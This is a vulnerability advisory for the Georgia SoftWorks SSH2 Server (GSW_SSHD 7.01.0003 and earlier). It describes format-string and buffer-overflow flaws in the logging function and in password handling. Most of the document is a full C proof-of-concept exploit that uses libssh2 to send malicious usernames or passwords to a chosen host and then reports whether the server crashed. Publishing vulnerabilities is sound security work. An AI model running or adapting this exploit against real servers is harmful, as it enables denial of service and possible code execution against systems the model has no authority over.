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Georgia SoftWorks SSH2 Server Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.georgiasoftworks.com/prod_ssh2/ssh2_server.htm> GSW_SSHD is
"a well known commercial SSH server which acts as SSH tunnel for the
telnet server GS_Tnet.exe". Multiple vulnerabilities have been discovered
in GSW_SSHD, these vulnerabilities allows remote attackers to overflow
internal buffers found in the product as well as initiate a format string
attack against it.
DETAILS
Vulnerable Systems:
* Georgia SoftWorks SSH2 Server (GSW_SSHD) version 7.01.0003 and prior
Format string in the log function
The logging function used by the server is affected by a format string
vulnerability caused by the usage of vsprintf for building the first
message (like "LoginPassword(%s(%s)[%u])") and the usage of another
vsprintf for building the final log entry. The bug can be exploitable
through the username field.
Buffer overflow in the log function
A buffer-overflow vulnerability is located in the same logging function.
It's enough to use an username longer than 10000 chars to exploit the
vulnerability.
Buffer overflow in the handling of the password
The server is affected also by another buffer-overflow this time located
in the instructions which handle the password supplied by the client
exploitable through a string longer than 800 chars.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/gswsshit.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <libssh2.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 22
void bigstr(u8 *dst, int chr, int len);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
LIBSSH2_SESSION *session;
LIBSSH2_CHANNEL *channel;
struct sockaddr_in peer;
int sd,
attack;
u16 port = PORT;
u8 username[10500],
password[850];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Georgia SoftWorks SSH2 Server <= 7.01.0003 multiple
vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = format string in the log function\n"
" 2 = buffer-overflow in the log function\n"
" 3 = buffer-overflow in the handling of the password\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
switch(attack) {
case 1: {
strcpy(username, "%n%n%n%s%s%n%n");
strcpy(password, "password");
} break;
case 2: {
bigstr(username, 'A', sizeof(username) - 1);
strcpy(password, "password");
} break;
case 3: {
strcpy(username, "administrator");
bigstr(password, 'A', sizeof(password) - 1);
} break;
default: {
printf("\nError: wrong attack number (%d)\n", attack);
exit(1);
} break;
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
session = libssh2_session_init();
if(!session) goto quit;
if(libssh2_session_startup(session, sd)) goto quit;
if(!libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5)) goto
quit;
printf("- send malformed data\n");
if(!libssh2_userauth_password(session, username, password)) {
if(attack == 3) {
channel = libssh2_channel_open_session(session);
if(channel) libssh2_channel_shell(channel);
}
}
close(sd);
printf("- wait some seconds\n");
sleep(ONESEC * 3);
printf("- check server:\n");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
printf("\n Server IS vulnerable!!!\n");
} else {
printf("\n Server doesn't seem vulnerable\n");
}
close(sd);
return(0);
quit:
printf("\nError: problems during the SSH communication\n");
close(sd);
return(0);
}
void bigstr(u8 *dst, int chr, int len) {
memset(dst, chr, len);
dst[len] = 0;
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol
family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed";
break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED,
NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested
type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/gswsshit-adv.txt>
http://aluigi.altervista.org/adv/gswsshit-adv.txt
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